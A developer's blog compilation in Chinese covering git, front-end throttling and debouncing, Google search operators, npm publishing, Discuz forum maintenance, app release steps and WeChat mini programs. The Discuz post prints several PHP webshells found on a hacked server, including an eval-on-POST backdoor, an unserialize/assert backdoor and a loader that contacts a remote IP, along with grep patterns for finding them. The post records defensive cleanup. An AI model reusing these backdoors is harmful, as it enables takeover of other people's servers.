diamont1001 / blog Goto Github PK
View Code? Open in Web Editor NEW博主太懒了,有时间都在玩游戏,就不爱写博客
Home Page: https://github.com/diamont1001/blog/issues
博主太懒了,有时间都在玩游戏,就不爱写博客
Home Page: https://github.com/diamont1001/blog/issues
在拉取 GitHub
仓库代码的时候卡住一会并出现错误:
fatal: unable to access 'https://github.com/xxx/xxx.git/': gnutls_handshake() failed: The TLS connection was non-properly terminated.
取消代理(经测试,需要每次都要运行以下代码,并不能一劳永逸)
git config --global --unset http.https://github.com.proxy
git config --global --unset https.https://github.com.proxy
然后再进行 git pull
等操作。
举个例子,我们玩过王者荣耀的都知道,很多英雄的技能基本上都有一个冷却时间(简称CD),在CD时间内,技能只能放一次,放完之后,用户再去点击技能是无效的。
回到前端开发,比如页面上的一个获取验证码的按钮,一般来说都会有 60秒的限制,也就是说,60秒内用户只能点击获取验证码一次,然后就变灰了,60秒后才可以再次获取;
这就是节流。
当然,还有很多场景是要用到节流的,比如:
举个例子,商场的自动门,当有人通过的时候自动门会自动打开,并会保持一小段时间(比如15秒),如果这15秒之内再没人通过,那么门会自动关上;但是如果在这15秒之内不断有人通过,那么门会一直开着,每次人通过后都会继续等待15秒;然后在最后一个人通过15秒之后,才会自动关门。
对于自动门来说,这15秒的时间就是用来防抖的,防止自动门进行没必要的关闭操作。
同样的,在前端开发过程中,我们也经常遇到类似的情况,比如 resize、input、scroll 等这些触发次数比较频繁的事件,如果不采取防抖措施的话,这些高频的事件会频繁的响应,不但浪费资源,还会大大影响页面的性能。
这个时候,就需要对这些事件的响应函数做防抖了。
触发高频事件后,他的响应函数不是马上执行,而是在延时 n 秒之后才会执行一次,如果 n 秒内事件再次被触发,则重新计算时间。
这就是函数防抖的实现方法。
而具体的实现代码,可以百度或者google一下,很容易搜到的。
当然,防抖还有个问题,就在于它太有“耐心”了。试想一下,如果用户的操作十分频繁而持续,持续的延迟会导致用户迟迟得不到响应,这就导致了‘页面卡死’的假象。
为了解决这个问题,我们可以借鉴节流的**,打造一个‘有底线’的防抖。
在规定时间内,我可以为你重新生成定时器并去等待;但是我总不能一直等下去,我可是有时间底线的,只要总的等待时间一到,我必须要给用户一个响应。
这就是‘防抖与节流结合’的思路,这个思路目前已经被很多成熟的前端库应用到了,具体也可以去了解一下。
作为一名有逼格的程序猿,Google 可以说是标配,每天不上它几次都不好意思下班。
Google 搜索引擎页面非常简单,只有一个输入框和两个按钮(起码看起来是),然而,外表单纯的它,其实隐藏了好多高级技能,要用好它还是需要花点时间去学习的。
下面,让我们来由浅至深的慢慢把它的隐藏技能给刷出来吧!
空格,在搜索引擎来看就是一个分隔符,它会把输入的搜索词以 “空格” 来切分,分成多个搜索词。比如你输入的是 the best programming language
,那么 Google 返回的文章里既有 “programming”,也有 “language” 存在,还有 “best”,但不一定有 “the best programming language” 存在。
另外,机智的 Google 还会把一些没有实际意义的词汇给忽略掉,比如:
上面的例子 the best programming language
中的 the
就会忽略了。
""
那么,如果就是想要查找含有 ”the best programming language“ 的文章怎么办?
这时候,引号就可以派上用场了。
可以自己在 Google 里试下 "the best programming language"
(包含双引号,半角或者全角都一样),对比下你会发现它会返回 ”完整匹配“ 的结果,这就是绰号(”……“)的作用。
+
/ -
在某个关键词前添加加号 +
,表示必需包含该关键词的搜索结果。
比如,panda +wikipedia
,搜索结果中必需出现 “wikipedia”。
跟加号一样,在某个关键词前添加减号 -
,表示排除所有包含该关键词的搜索结果。
比如,panda -wikipedia
,搜索结果中不会出现 “wikipedia”
*
这个大家应该都知道,Google 也是支持通配符的。
比如,"the best * of the world"
,返回的是包含类似 "the best food of the world"
, "the best people of the world"
, "the best in four major regions of the world"
...
OR
OR
(必须大写),可以匹配多个搜索关键词中的任意一个。
比如,Olympic 2016 OR 2018
,能搜索出 ”Olympic 2016“ 或者 ”Olympic 2018“ 的结果。
..
两个半角句号 ..
,左右两个数字,可搜索 ”日期“、”价格“ 和 ”尺寸“ 等指定数字范围的搜索结果。
比如,iphone 2500..3000
,可搜索价格范围 ”2500 到 3000” 的 iPhone。
仅使用一个数字和两个句号即可表示 “上限” 或 “下限”
macbook ..8000
表示搜索 “8000元以内的 macbook”macbook 6000..
表示搜索 “6000元以上的 macbook”site:
有时候我们只想搜索指定一个网站的内容,我们可以使用 site:
语法。
比如,搜索 javascript site:http://wikipedia.org
,给出来的结果都是 http://wikipedia.org
这个网站的。
嫌麻烦,每次都需要打 site:http://xxx
很麻烦?自己建立一个专属的搜索引擎吧 Google cse(Custom Search Engine)。
related:
, cache:
, info:
related
用来搜索结构内容方面相似的网页。
比如,搜索所有与中文新浪网主页相似的页面(如网易首页,搜狐首页,中华网首页等),“related:www.sina.com.cn/index.shtml”
cache
用来搜索GOOGLE服务器上某页面的缓存,这个功能同“网页快照”,通常用于查找某些已经被删除的死链接网页,相当于使用普通搜索结果页面中的“网页快照”功能。
info
用来显示与某链接相关的一系列搜索,提供cache、link、related和完全包含该链接的网页的功能。
比如, info:wap.pp.cn
,会搜索出来有关 "wap.pp.cn" 的网页信息。
像上面提到的 site:
、related:
,其实是 Google 搜索提供的操作符,用法就是 “操作符”:“变量”。
操作符 | 用途 | 用法 |
---|---|---|
allinanchor: | 限制搜索的关键词是网页中链接内包含的关键词(可使用多个关键词) | allinanchor:keyword1 keyword2 |
allintext: | 限制搜索的关键词是网页内文包含的关键词(可使用多个关键词) | allintext:keyword1 keyword2 |
allintitle: | 限制搜索的关键词是网页标题中包含的关键词(可使用多个关键词) | allintitle:keyword1 keyword2 |
allinurl: | 限制搜索的关键词是网页网址中包含的关键词(可使用多个关键词) | inurl:keyword1 keyword2 |
inanchor: | 限制搜索的关键词是网页中链接内包含的关键词 | inanchor:keyword |
intext: | 限制搜索的关键词是网页内文包含的关键词 | intext:keyword |
intitle: | 限制搜索的关键词是网页标题中包含的关键词 | intitle:keyword |
inurl: | 限制搜索的网页的地址 | inurl:keyword |
site: | 限制所进行的搜索在指定的域名或网站内 | site:domain |
filetype: | 限制所搜索的文件一个特定的格式 | filetype:extension |
当然,Google 这么高逼格的搜索引擎,是不会满足于基本的文字搜索的,什么 ”语音搜索“、”图片搜索“……这些有兴趣的自己去探索吧,看看就会的了(除非你不是一个有逼格的程序猿)。
Moneris 是北美最大的信用卡支付平台之一,它的优势是安全和费用低,T+1的回款速度。
但是,跟他们打过交道的人都知道,他们的文档写的可真是够乱的,接入方式也有好多种,而且,没有一个集中的文档简单介绍这些。
经过多次的接触和了解之后,总结出来了一些经验,凭记忆大概记录一下。
这种接入方式最简单,付款之前只需要请求一个接口获取 Token 参数后,直接跳转到 Moneris 的页面去进行付款,用户整个付款操作都是在 Moneris 的付款页面进行的,包括用户信用卡等信用的录入和验证等;付款完成或者失败后,会有通知回调,这个回调链接可以在 Moneris 后台配置。
这个接入方式有个好处就是接入方便,而且可以配置 AVS只需要用户填 postcode,而不需要填详细地址。
但是根据他们内部人员透露,这种接入方式已经不再更新,一些新的功能(比如 3D Secure等)就不能用了。
目前这种方式是官方推荐的网页接入方式。但这种方式比 Hosted Paypage 稍难一点点,因为付款页面需要自己实现,在页面里嵌入他们的 JS SDK,然后他们会在我们的页面上通过 iframe
的方式打开用户资料输入的窗口进行付款操作。
由于使用了 iframe
,在小程序的接入上面还是走不通,所以只适合正常网站的接入。因为微信小程序对 iframe
的域名也要先添加到“业务域名”才可以。
这种方式有个不好的,就是 AVS 的方式不能只让用户输入 postcode
,官方的说法是用户要全部 address 信息都要填写。
文档链接:
这种方式适合 APP 或者小程序的接入,因为所有操作都是后台跟Moneris 的交互,咱的APP跟自己服务端交互,所以需要后端开发人员去实现这个接入的过程。
但有个问题是,官方提供的 API 只有三种语言的版本:JAVA, PHP, .NET。如果想要使用其他语言实现的话,还需要自己去实现接入库,可以参考:
相关文档整理如下:
自己写的模块想要发布到 npm,其实很简单,一句 npm publish
就搞定了,但是后续的版本管理会比较讲究,这里系统的记录一下通过 npm 管理包的一系列问题,方便以后查阅。
下面以模块名
demo
为例
写好一个模块,一切都就绪后,可以考虑发布到 npm 上了,可以通过以下步骤完成一个模块的新发布:
# 1. 初始化包的描述文件(其实是生成 package.json,如果已有这个文件,可跳过该步骤)
$ npm init --save
# 2. 验证账号
$ npm adduser
3. 发布
$ npm publish
以上,即可完成一个新包的发布了。
很多时候,一个模块往往不只是你一个人在管理的,这时需要给其他一起维护的同学开通发布的权限,如下:
# 查看模块 owner
$ npm owner ls demo
# 添加一个发布者
$ npm owner add [email protected] demo
# 删除一个发布者
$ npm owner rm [email protected] demo
当模块有更新的时候,需要发布一个新版本,当所有需要更新的文件都 commit
完了后,就可以更新到 npm
了。
# 更新版本号(major | minor | patch | premajor | preminor | prepatch | prerelease)
# 大版本并且不向下兼容时,使用 major
# 有新功能且向下兼容时,使用 major
# 修复一些问题、优化等,使用 patch
# 下面比如更新一个 patch 小版本号
$ npm version patch
$ npm publish
很多时候一些新改动,并不能直接发布到稳定版本上(稳定版本的意思就是使用 npm install demo
即可下载的最新版本),这时可以发布一个 “预发布版本“,不会影响到稳定版本。
# 发布一个 prelease 版本,tag=beta
$ npm version prerelease
$ npm publish --tag beta
比如原来的版本号是 1.0.1
,那么以上发布后的版本是 1.0.1-0
,用户可以通过 npm install demo@beta
或者 npm install [email protected]
来安装。
prerelease
版本稳定之后,可以把它设置为稳定版本# 首先可以查看当前所有的最新版本,包括 prerelease 与稳定版本
$ npm dist-tag ls
# 设置 1.0.1-1 版本为稳定版本
$ npm dist-tag add [email protected] latest
# 或者通过 tag 来设置
$ npm dist-tag add demo@beta latest
当发现 BUG,也可以通过
npm dist-tag
命令回退。
这时候,latest 稳定版本已经是 1.0.1-1
了,用户可以直接通过 npm install demo
即可安装该版本。
最后,可以通过 npm info
来查看模块的详细信息。
$ npm info
discuz 是一个开源的 php 论坛框架,开源可以免费使用,但只要是开源的就很容易被人研究并找到漏洞,这也是一个没法避免的问题,有得必有失,使用了就要做好跟黑客斗智斗勇的准备。
一般来说,文件(图片)上传这一块是比较容易中招的,因为上传的文件是放到服务器上的,虽然框架做了安全规避,但是只要是程序就会有漏洞,所以条件允许的话,个人还是非常建议把文件上传这一块迁移到第三方的网络存储服务器,比如 “阿里云” 的 OSS。
chattr
在介绍以下攻击临时解决方法之前,有必要先介绍下 chattr
这个命令以及使用。
具体可以自行百度,这里要用到的是 -i
参数,也就是:
设定文件不能被删除、改名、设定链接关系,同时不能写入或新增内容。i参数对于文件 系统的安全设置有很大帮助。
chattr +i 文件名
chattr -i 文件名
lsattr 文件名
可以通过以下命令扫描后台木马文件:
# /data/wwwroot/bbs/ 路径改为你 discuz 根目录
grep -r "php eval(" /data/wwwroot/bbs/
grep -r "eval(\$_POST" /data/wwwroot/bbs/
一般会扫描出来用户上传的一些修改过的 gif 文件,比如:
随便找一个打开看看 vi xxx.gif
:
gif 文件是被修改过的,很明显在文件尾部被添加了 php 代码,这就是病毒代码。
OK,只要确保以上文件都不是 discuz 官方的文件,也就是用户上传的文件,就把文件都删了就可以了。
PS: 今天把扫出来的 gif
文件备份下来一看吓我一跳,就是 “熊猫烧香” 的头像!!!
下面记录下之前遇到过的几个被攻击的例子,我对这一块不是很专业,所以并没有从根本上去追踪漏洞的根源,只是从现像表面去做临时解决方案。
之前有段时间发现网站访问有点异常,经排查发现,由搜索引擎的 useragent
访问网站比正常访问时多出了大量的外链。
php 程序一般遇到这些问题,首先要做的是去网站根目录查看是否多了一些新的文件:
ls -latr
发现网站根目录确实多了一个 .user.ini
的文件,而且文件日期就是最新创建的,也是网站出现问题的差不多时间,于是可以肯定是这文件搞的鬼。
关于 .user.ini
的定义可以百度一下,简单的说,.user.ini
就是一个可以由用户“自定义”的动态加载的 php.ini
。
查看 .user.ini
文件内容,发现里面指定了网站的访问前置 php,由于之前没有备份,具体内容忘记了。
然后把文件删掉,以为可以放心了,谁知第二天早上又出现问题了,看了下 .user.ini
文件又又又自动出现了,追踪了很久,由于对 discuz 和 php 都不太熟悉,最近还是没发现问题的根源出现在哪里,只能曲线救国了:
既然删不掉,那就保留着吧,但你也别想重新生成:
.user.ini
文件内容清空chattr
命令把文件锁死:chattr +i .user.ini
通过以上操作以后,这个问题算是解决了。
最近又遇到一个问题,整个网站变乱码了,吓的我连早餐都没来的急吃,上去服务器看了一通没看出什么道道来,然后突然想到计算机科学里的一个伟大的万能解决方案: 重启系统。
当然,在 “重启系统” 之前,我先用了万能解决方案第二条:“清缓存” 😂。清完后还真的侥幸解决了。但是好景不长而且仿佛一切都在预料当中,过了几天同样的问题又在公司群里响起了😭😭😭😭
好吧,没办法,再次清了缓存之后,又去排查 “新文件” 了,果然,在网站根目录又发现了三个新文件:
文件具体内容如下:
<?php @eval($_POST[abc])?>
很明显,news.php
这是一个典型的后门程序,只要使用post访问时在name为abc
的值中写入任何字符串,都可以当做php代码来执行,这个时候就有点可怕了,比如写入一段循环删除整站代码等等。
<?php
class A{
var $test = "demo";
function __destruct(){
assert($this->test);
}
}
$pw=strrev('doog');
$test = $_POST[$pw];
$len = strlen($test)+1;
$pp = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}";
$test_unser = unserialize($pp);
?>
<?php
set_time_limit(0);
header("Content-Type: text/html;charset=gb2312");
$Rcaonidaye_vvcbbiB = "http://69.176.95.99/";
$host_name = "http://".$_SERVER['SERVER_NAME'].$_SERVER['PHP_SELF'];
$Content_mb=getHTTPPage($Rcaonidaye_vvcbbiB."/index.php?host=".$host_name);
function getHTTPPage($url) {
$opts = array(
'http'=>array(
'method'=>"GET",
'header'=>"User-Agent: aQ0O010O"
)
);
$context = stream_context_create($opts);
$html = @file_get_contents($url, false, $context);
if (empty($html)) {
exit("<p align='center'><font color='red'><b>Connection Error!</b></font></p>");
}
return $html;
}
echo $Content_mb;
?>
chattr
命令。这次是 php 代码,我想把证据都保留下来,于是在以上每个文件前添加了一个 404
以及 return
,切断文件内容:
header('HTTP/1.1 404 Not Found');return;
// 原文件内容
// ...
比如,news.php
文件就变成了:
<?php
header('HTTP/1.1 404 Not Found');return;
@eval($_POST[abc])?>
chattr +i news.php
chattr +i newfile.php
chattr +i vote.php
今天一个网站出现访问问题,在PC上访问没问题,但是某些朋友的手机上访问会出现网络问题,如下:
查了半天,最后定位到 nginx
配置里的 ssl_prefer_server_ciphers on
:
如果ssl协议支持tlsv1 tls1.1这种老协议,设置为 on ,并配合ssl_ciphers使用;
如果ssl协议只支持tlsv1.2 tlsv1.3新协议,设置为 off (nginx默认为off),因为新协议不再采纳此参数。
把 ssl_prefer_server_ciphers
配置为 off
即可。
最近公司网站突然访问不了,直接就显示 Warning: Call-time pass-by-reference has been deprecated
错误信息了,网上查了下,原来是 php 版本和语法兼容性的问题,解决办法总结如下:
php.ini
的 display_errors = On
改成 display_errors = Off
(不显示错误)allow_call_time_pass_reference = Off
变成 allow_call_time_pass_reference = On
(php 5.5以上不支持了好像)找不到 php.ini
的话,通过以下方法可以找到:
find / -name 'php.ini'
改完记得重启 PHP 确保修改成功,或者在网站根目录新建一个 test.php
,内容如下:
<?php
phpinfo();
?>
然后通过浏览器访问 /test.php
这个网页去查看相关 PHP 配置。
注意,搞定后记得删掉 test.php,不然会被用户看到你服务器信息!
以上可以解决大部分问题,但是发现某两个页面还是没解决,找了好久,还是没办法,最后通过折半查找法找出有问题的文件:
在有问题的页面对应的 php 文件中间添加以下测试代码,不段去寻找错误的代码(文件):
echo 'test';return;
最后找到一个插件文件(lib_xxx.php)里面全是加密的信息,其实就是使用了【php威盾】加密,不慌,网上有直接解密的:
通过这个网站 https://www.toolnb.com/tools/phpcarbylamine.html 可以把 lib_xxx.php
文件内容直接解密出来,然后把解密后的源码更新到 lib_xxx.php
就可以了。
discuz 作为一个开源的论坛框架,是真的很好用,但是因为是开源,所以还是会有很多漏洞不断的被发现,下面记录一下,正常安装完 discuz 后,可能会遇到的一些问题。
目前使用的 discuz 版本为
3.4
。
问题 | 解决办法 | 备注 |
---|---|---|
莫名出现匿名帖子或回复(明明设置了不能匿名) | https://www.pigji.com/397.html | |
网站链接静态化 | https://blog.csdn.net/weixin_45256858/article/details/106409136 | |
邮件发不出去 | http://www.jingcity.com/bbs/thread-475342-1-1.html | |
去除版权信息,标题栏与底部修改 | https://blog.csdn.net/yongh701/article/details/46341337 | |
游客看不到帖子图片或附件 | https://jingyan.baidu.com/article/eb9f7b6d73ad82869364e88b.html |
rel="nofollow"
其中 nofollow
函数如下:
function nofollow($url = '') {
$temp = array();
if(!empty($url)) {
$temp = parse_url($url);
if(isset($temp['host']) && $temp['host'] != $_SERVER['HTTP_HOST']) {
$url .= '" rel="nofollow';
}
}
unset($temp);
return $url;
}
手机端论坛内容页里的页内图片默认是显示 224 宽的,一般情况下感觉有点小,那么该怎么调整它的大小呢?
解决办法:
./source/class/discuz/discuz_application.php
224
把这个改改就可以其实还有一个更好的办法,我一般喜欢手机端上的图片可以满屏宽的,所以,可以直接去掉宽度限定,改为 max-width
即可:
./source/function/function_discuzcode.php
parseimg
,并修改以下内容$img = '<img'.($width > 0 ? ' width="'.$width.'"' : '').($height > 0 ? ' height="'.$height.'"' : '').' src="{url}" border="0" alt="" />';
修改为:
$img = '<img style="max-width: 97%;" src="{url}" border="0" alt="" />';
discuz 默认权限是未验证会员登录后是查看不到帖子内容的,但是游客(未登录)反而可以查看,这个很不科学。
解决:可以在用户组里把权限设置一下,【用户】-【用户组】-【系统用户组】-找到【等待验证会员】-【编辑】-把‘阅读权限’设置为 1
。
另外,还需要设置一下帖子附件(图片)的查看权限,权限管理页面顶部找到【论坛相关】下拉选择【附件相关】,把【允许查看图片】勾上即可。
先附上我之前写的CSDN的地址(2011-01-07): http://blog.csdn.net/diamont1001/article/details/6123184
char *aa() {
char *p = malloc(10); //动态分配,"hello"存于"堆"(heap)
p[0] = 'h';
p[1] = 'e';
p[2] = 'l';
p[3] = 'l';
p[4] = 'o';
p[5] = '\0';
printf("sub aa pointer: %p\n", p);
printf("sub aa content: %s\n", p);
return p;
}
char *bb() {
char p[] = "hello"; //自动分配,"hello"存于栈(stack)
printf("sub bb pointer: %p\n", p);
printf("sub bb content: %s\n", p);
return p; //warning,bb()函数完后,p所指区域被释放
}
char *cc() {
char *p = "hello"; //"hello"存于常量区(static)
printf("sub cc pointer: %p\n", p);
printf("sub cc content: %s\n", p);
return p;
}
int main()
{
char *raa = aa();
printf("main aa pointer: %p\n", raa);
printf("main aa content: %s\n\n", raa);
char *rbb = bb();
printf("main bb pointer: %p\n", rbb);
printf("main bb content: %s\n\n", rbb);
char *rcc = cc();
printf("main cc pointer: %p\n", rcc);
printf("main cc content: %s\n\n", rcc);
free(rbb);
return 0;
}
系统把连续空闲的堆内存看成一个个的块,再用指针链表把所有的块串起来,需要分配时遍历链表,找出一个足够大小的块进行分配,剩下的把它放到链表中;用完释放时,系统再把它放回链表中。
可以把堆内存看成一个沙堆(我忘了在哪本书上看到的了),需要时,用铲子在沙堆里铲出一些沙,用完时,在把它放回到沙堆里,所以,两次取沙子不太可能会取到同样的。
要搞一个APP,从零开始到发布上线的整个过程,其实除了开发,后面还有一大堆的东西需要解决的,比如软著、域名、备案等很多人听都没听过的东西,这里简单记录一下大概的过程。
软著,很重要! 其实就是你的软件著作权,保障你自己的权益用的。随着渠道方对于著作权的重视提升,现在越来越多的渠道要求开发者在提交app时提供软件著作权登记证书。
当然,目前还有一些安卓应用市场不用软著也可以上线(比如百度、小米),但为保障开发者权益和维护应用正版权益,避免后续被抄袭的烦恼,还是建议要去申请一个比较稳妥。
Appstore 是不要求软著的,但为了保障起见,还是可以申请一个。但是安卓和 iOS 是要分开申请的,哪怕是同一个应用,这就意味着要给两份钱了。
可以在【易版权-无忧宝】上申请,材料都是他们帮忙填的,自己只需要填写一份简单的信息表就可以。
因为申请需要时间,最长的是 36 个工作日,最短的可以在 1 个工作日,可以通过花多点钱来缩短这个申请时间,所以建议在立项之后就开始去申请,可以节省不少钱。
看下下面的几个时间节点的价钱对比就知道了:
代码仓库目前可以选择的挺多了,而且 GitHub 也开通了免费私有仓库!
服务器使用 阿里云 的,这没什么异议,大厂出品,稳定安全,文档清晰,基础配套完善,几乎所有能用到的基础服务都有提供(比如 OSS、CDN、数据库、Redis缓存、日志分析等)。而且价格也不算贵,一个小 App 前期服务器压力不大的情况下,整套服务器搞下来,首年也就 2000RMB 以内可以全部搞定了。
对于一个产品来说,域名可是必须品,无论是产品官网、宣传页面还是接口服务器,都需要有个域名来承载。价钱的话其实不贵,一般的 .com
域名也就是 ¥58 / 年。
域名申请毫无疑问使用阿里云的 万网,跟阿里云服务器统一管理,关键还送 HTTPS 证书,省去了很多麻烦事,要知道,现在 Appstore 对 HTTPS 是有硬性要求的。
在国内,域名申请后还需要进行备案才可以正常解析和使用的,还是一样,在阿里云管理后台可以一站式搞定,而且备案是免费的。
很多人创业初期是还没有注册公司的,都是以个人名义在做,其实也可以,以个人名义先申请域名备案,网站以个人博客来申请,ICP 备案号下来后,就可以正常使用了,只要不是做些违法的事,一般也不会被查封。等以后自己公司注册下来了,再把域名转到公司名下,再重新备案即可。
一个人名下只能有一个备案号,一个备案号可以有多个域名。也就是说你可以申请备案多个域名,而且可以随时申请变更(增删改等)。
这里要注意的是,如果以个人名义备案域名的话,后续要增加域名的时候就比较麻烦了,因为申请增加域名的时候,审核人员是会对你名下所有的域名进行审查的,之前已备案的域名必须可访问,而且要跟之前的备案信息一致。意思就是,如果你之前已有的域名申请的是个人博客类,但是实际用到了你的产品官网了,这样在你以后要增加域名备案的时候就会有被查封的可能了。
要在 Appstore 发布应用,必须要用苹果开发者账号,而且要钱的,一般来说就是 ¥688/年,高级企业账号贵一点。
https://developer.apple.com 上这个网站去申请一个,然后到最后购买、付款完成后,等个一两天就会收到邮件通知了。
很多人会在付款这里遇到问题,这里简单说一下:
1)只能使用 Master 或者 Visa 的信用卡支付,注意,只能是信用卡
2)可以使用其他人的信用卡支付,自己没有 Master/Visa 的话,就借用其他人的吧
3)支付时,账单地址填的是你苹果开发者账号申请时的地址,也不用完全对的上
具体操作细节可以自行百度或者 Google。
App Store 的审核其实还是不难的,只要你的 APP 没什么违规的事情,一般一两天就批下来了。但是有一些小事情需要注意的:
用户权限无论你有没有使用到,建议都在 info.plist 上补充一下,如:
<key>NSAppleMusicUsageDescription</key>
<string>xxxx需要您的同意,才能访问媒体资料库</string>
<key>NSBluetoothAlwaysUsageDescription</key>
<string>游趣浆糊需要您的同意,才能访问蓝牙</string>
<key>NSBluetoothPeripheralUsageDescription</key>
<string>xxxx需要您的同意,才能访问蓝牙</string>
<key>NSCalendarsUsageDescription</key>
<string>xxxx需要您的同意,才能访问日历</string>
<key>NSCameraUsageDescription</key>
<string>xxxx需要您的同意,才能访问拍照功能</string>
<key>NSLocationAlwaysUsageDescription</key>
<string>xxxx需要您的同意,才能始终访问位置</string>
<key>NSLocationWhenInUseUsageDescription</key>
<string>xxxx需要您的同意,才能在使用期间访问位置</string>
<key>NSMicrophoneUsageDescription</key>
<string>xxxx需要您的同意,才能访问麦克风</string>
<key>NSMotionUsageDescription</key>
<string>xxxx需要您的同意,才能访问运动与健身</string>
<key>NSPhotoLibraryAddUsageDescription</key>
<string>保存图片到相册</string>
<key>NSPhotoLibraryUsageDescription</key>
<string>xxxx需要您的同意,才能访问相册</string>
<key>NSSpeechRecognitionUsageDescription</key>
<string>xxxx需要您的同意,才能进行语音识别</string>
记得安装一个 TestFlight
,很多同学会忽略了这一个神器。
AppStore 官方提供的 TestFlight 非常好用,上传上去的版本可以很方便的直接安装到手机上进行测试,不家数据反馈和统计,也可以邀请外部人员进行测试。
Android 要求所有应用都有一个数字签名才会被允许安装在用户手机上,所以在把应用发布到应用市场之前,你需要先生成一个签名的 APK 包。
签名信息中包含有开发者信息,在一定程度上可以防止应用被伪造。例如网易云加密对Android APK加壳保护中使用的“校验签名(防二次打包)”功能就是利用了这一点。
至于怎么签名和打包 APK,请自行百度或Google,网上攻略一大堆。
应用图标会应用在很多地方,比如应用打包、应用商店、开放平台等,个人建议图标按以下的大小导出一份备用:
有些网站可以一键生成所有尺寸的 ICON,网上搜下就有。
比如:https://icon.wuruihong.com/
iOS AppIcon 图标不能包含了透明度的,如果你的图标是 png,请把 alpha 透明度去掉,不然会报错的。
可以这样简单操作:
有个可以在线制作宣传图的网站(基本上想要好看的都要钱的):
Mac系统下有个免费可用软件(推荐):
AppStore 应用描述那里会要求针对不同机型上传几张屏幕截图,当然也可以自己设计一些好看的图片上传上去,但是图片大小有严格规定,具体可以参考:https://help.apple.com/app-store-connect/#/devd274dd925
现在的 APP,几乎都需要有用户隐私协议,特别是有 UGC 的应用,在用户注册页面可以加上用户隐私协议。
如果是企业的话,找法务同学给出个正规的;如果是个人开发者的话,可以网上找其他同类型的应用,Copy 一份改改名字就行,因为很多应用都是用网页形式展现的,抓个包很容易能拿到链接。
最近在研究微信小程序,在刚接触的时候遇到了很多坑,就在最基础的账号申请方面都栽了很多跟头,一开始没搞懂小程序与公众号订阅号之间的关系,搞了很久才搞清楚了,这里整理一下。
微信公众平台账号有两种:
如上,其实公众号与小程序账号是分开的,一开始就没搞懂这个关系,登录上自己已有的公众号账号后,点击「小程序」会有两个按钮「关联已有小程序」和「快速注册小程序」。
关联小程序是把已有的小程序关联到公众号。
新建立小程序,应该点这里,之后会让你输入一个新的邮箱(未被微信公众平台注册,未被微信开放平台注册,未被个人微信号绑定的邮箱),因为 一个账号对应一个小程序
,这个概念一定要搞清楚。
然后,就是下一步下一步,还有认证了。
这里要说一下的是,如果你已有已认证的公众号,则在认证这一步可以省很多事情,因为在申请小程序这一步骤的时候,可以勾选「复用现有公众号认证资质」这个功能,后面的小程序不用认证直接就沿用公众号的认证了。
注册完小程序账号,上面会有一个 appid,有了这个 appid 就可以开始进行开发了,官方文档挺详细的。
有已备案的域名和服务器的话,可以选择的服务器做接口(HTTPS),然后小程序通过 HTTP 请求自己服务器接口的方式。
但现在腾讯也出了 Serverless 方式,还是比较方便的,主要是比较弹性而且不用自己出域名,一些小程序刚开始的时候量比较少就花的钱比较少,后期暴增啥的也不用操心增加服务器啥的,会按照实际访问量来收费的。
另外还有个好处就是,云开发不用自己维护 openid、access_token 这些信息。
云开发目前有两种模式:云开发、云托管
费用比较便宜,对个人开发者最友好,以下是首月的免费用量:
个人开发者的话,建议先选择 19 块钱/月的就够了:
云函数的数据库调用有两种方式,一种是小程序直接调用,一种是云函数调用,两种方式会有场景上的不同。
小程序调用:会在查询条件自动带上 openid
,因为小程序是针对个人的,个人不可能去操作整个数据库
云函数调用:跟普通的数据库操作没什么两样,会有整个数据库的全操作权限
云函数不要在IDE右键新建,不然会有 nodejs 版本的问题导致函数调用不成功,建议在 IDE 打开的云管理面析新建函数,再通过 IDE 同步下来再开发。
在微信开发者工具(IDE)中开通云开发时,会创建一个新的腾讯云账号,您需要使用小程序公众号登录方式,扫码登录腾讯云云开发控制台,选择对应的小程序,才可见微信开发者工具(IDE)内创建的云开发环境。
参考官方文档:https://cloud.tencent.com/document/faq/876/57380
略
小程序的一些信息是可以修改的,但是会有次数限制。
小程序发布前,可修改2次名称。发布后,必须通过微信认证流程改名。
微信平台上可以管理「开发版本」「审核版本」和「线上版本」,在开发者工具点击「上传」即可把代码上传到平台上,可以设置版本号和描述信息。
微信的审核时间还可以,个人经验,审核时间大概在 2 ~ 2.5 小时左右,而且好像不分上下班时间,反正我有一次是晚上 10 点多通过的审核,更晚的就没试过了。
不过,如果小程序名称是有涉及到企业品牌或者商标的(比如「豌豆荚」),需要上传相关文件的,审核时间就相对长一点,这也看审核人员的心情,大概也就是一两天左右。不过第一次审核通过后,后面的升级就没影响了。
JS 和任何一门语言一样,对其数值的范围有限制。
Number.MAX_VALUE // 1.7976931348623157e+308
Number.MAX_SAFE_INTEGER // 9007199254740991
Number.MIN_VALUE // 5e-324
Number.MIN_SAFE_INTEGER // -9007199254740991
如果我们想要对一个超大的整数(> Number.MAX_SAFE_INTEGER)进行加法运算,但是又想输出一般形式,那么使用 + 是无法达到的,一旦数字超过 Number.MAX_SAFE_INTEGER 数字会被立即转换为科学计数法,并且数字精度相比以前将会有误差。在此时就需要自己实现一套加法算法。
function sum(a, b) {
var res = '', temp = 0, aSymbol = '', bSymbol = '', num1, num2, lastSymbol = '';
if (a < 0) {
aSymbol = '-';
a = a.substring(1);
}
if (b < 0) {
bSymbol = '-';
b = b.substring(1);
}
aArr = a.split('');
bArr = b.split('');
while (aArr.length || bArr.length || temp) {
if (aSymbol === bSymbol) { // 加法
temp += ~~aArr.pop() + ~~bArr.pop();
res = temp % 10 + res;
temp = temp > 9 ? 1 : 0;
lastSymbol = aSymbol;
} else { // 减法(大减小)
num1 = ~~aArr.pop();
num2 = ~~bArr.pop();
if (parseInt(a, 10) < parseInt(b, 10)) {
temp += num2 - num1;
if (temp < 0) {
temp += 10;
res = temp % 10 + res;
temp = -1;
} else {
res = temp % 10 + res;
temp = 0;
}
lastSymbol = bSymbol;
} else {
temp += num1 - num2;
if (temp < 0) {
temp += 10;
res = temp % 10 + res;
temp = -1;
} else {
res = temp % 10 + res;
temp = 0;
}
if (parseInt(a, 10) > parseInt(b, 10)) {
lastSymbol = aSymbol;
}
}
}
}
res = res.replace(/^0+/, '');
if (!res) {
res = '0';
} else {
res = lastSymbol + res;
}
return res
}
/**
* ━━━━━━神兽出没━━━━━━
* ┏┓ ┏┓
* ┏┛┻━━━┛┻┓
* ┃ ┃
* ┃ ━ ┃
* ┃ ┳┛ ┗┳ ┃
* ┃ ┃
* ┃ ┻ ┃
* ┃ ┃
* ┗━┓ ┏━┛
* ┃ ┃ Code is far away from bug with the animal protecting
* ┃ ┃ 神兽保佑,代码无bug
* ┃ ┗━━━┓
* ┃ ┣┓
* ┃ ┏┛
